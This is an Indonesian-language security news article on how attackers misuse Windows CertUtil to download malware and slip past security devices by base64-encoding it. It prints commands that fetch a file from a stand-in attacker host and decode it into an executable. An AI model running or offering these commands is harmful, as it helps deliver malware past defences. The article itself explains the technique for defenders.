Windows memiliki program built-in yang disebut CertUtil, yang dapat digunakan untuk mengelola sertifikat di Windows. Dengan menggunakan program CertUtil ini kamu dapat menginstal, mencadangkan, menghapus, mengelola, dan melakukan berbagai fungsi yang terkait dengan sertifikat dan toko sertifikat di Windows.
Salah satu fitur CertUtil adalah kemampuan untuk mengunduh sertifikat, atau file lain dalam hal ini, dari URL remote dan menyimpannya sebagai file lokal menggunakan sintaks “certutil.exe -urlcache -split -f [URL] output.file”.
Namun, peneliti keamanan Casey Smith menulis di tahun 2017 kekhawatirannya bahwa program CertUtil ini dapat digunakan untuk mengunduh malware.
https://twitter.com/subTee/status/888125678872399873
Keprihatinan Smith dibenarkan karena penyerang telah menggunakan program tersebut untuk mengunduh malware cukup lama. Sampel ini pernah menggunakan program tersebut pada tahun 2016 dan Trojan baru-baru ini dari Maret 2018 juga menggunakannya untuk mengunduh berbagai file batch dan skrip ke komputer yang terinfeksi.
Kamu mungkin bertanya-tanya mengapa penyerang akan menggunakan CertUtil ketika mereka sudah memiliki pijakan di komputer? Ini karena beberapa komputer mungkin dikunci sehingga aplikasi yang tidak dikenal tidak dapat mengunduh program. Dengan menggunakan program Windows built-in, ada kemungkinan bahwa akan dimasukkan dalam daftar putih oleh program keamanan yang terinstal dan dengan demikian diizinkan untuk mengunduh file.
Menggunakan CertUtil + Base64 untuk Mem-bypass Perangkat Lunak Keamanan
Hari ini konsultan keamanan dan ISC Handler Xavier Mertens menerbitkan buku harian handler yang menambahkan sentuhan untuk penggunaan CertUtil yang dapat mempermudah unduhan penyerang untuk tetap tidak terdeteksi oleh perangkat keamanan. Pertama base64 menyandikan file berbahaya sehingga tampak sebagai teks yang tidak berbahaya dan kemudian memecahkan kode itu setelah diunduh menggunakan CertUtil.exe.
Seperti yang sudah dibahas, kamu dapat mengunduh file menggunakan program tersebut dengan menggunakan perintah berikut: “certutil.exe -urlcache -split -f [URL] output.file”
Ini akan mengunduh file dalam bentuk aslinya dan menyimpannya ke komputer. Masalah dengan metode ini adalah bahwa perangkat keamanan jaringan dapat mendeteksi file sebagai berbahaya dan memblokirnya.
Untuk melewati ini, Mertens muncul dengan ide base64 pertama yang menyandikan file berbahaya sehingga ke perangkat itu hanya muncul sebagai teks yang tidak berbahaya. Kemudian setelah file teks diunduh, perintah “certutil.exe -decode” dapat digunakan untuk memecahkan kode file berenkode base64 ke dalam file yang dapat dieksekusi.
Ini diilustrasikan dalam buku harian handler Mertens:
C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt
C:\Temp>certutil.exe -decode bad.txt bad.exe
Metode ini berpotensi melewati perangkat keamanan tanpa terdeteksi dan kemudian diubah kembali menjadi file yang dapat dieksekusi pada mesin lokal yang mungkin tidak aman.
Sementara, saya tidak tahu ini benar-benar digunakan di alam bebas, MalwareHunterTeam mengatakan kepada saya bahwa penggunaan certutil.exe -decode sudah digunakan. Contohnya dapat dilihat pada contoh ini. Selain itu, setelah publikasi, kami juga menemukan artikel dari F5 Labs yang merinci kampanye menggunakan CertUtil.exe untuk menginstal coinminner di Windows.
Selanjutnya, peneliti keamanan Kaspersky, Fabio Assolini, memperingatkan kami bahwa metode ini telah digunakan oleh para coders Brasil untuk beberapa waktu.
Seperti yang kamu lihat, trik-trik baru dipikirkan setiap hari menggunakan apa yang biasanya aman dan program Windows yang sah. Bagi mereka yang tidak menggunakan CertUtil untuk mengakses sertifikat atau server remote, kamu mungkin ingin mengunci kemampuannya untuk terhubung ke Internet.